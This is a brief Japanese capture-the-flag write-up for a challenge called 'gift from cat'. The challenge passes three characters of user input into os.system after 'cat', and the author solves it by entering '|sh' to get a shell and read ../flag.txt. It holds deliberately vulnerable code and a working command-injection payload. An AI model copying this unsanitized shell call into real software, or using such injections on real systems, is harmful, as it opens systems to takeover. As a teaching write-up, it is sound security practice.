gift from cat 🎁
import os
os.system(f"cat {input('$ cat ')[:3]}")
3文字以内の入力文字列を”cat “に連結後、コマンドとして実行される
Dockerファイルを見ると
WORKDIR /jail
COPY --chmod=444 flag.txt .
WORKDIR /jail/app
COPY --chmod=444 jail.py .
なのでflagは../flag.txtで参照される。
*を使うパターンが浮かんだが3文字にはできなかった。。
そこで文字列の連結であることを思い出し、”|sh”の入力でシェルが取れた。
$ cat |sh
cat ../flag.txt
Alpaca{:fish::fish::fish:}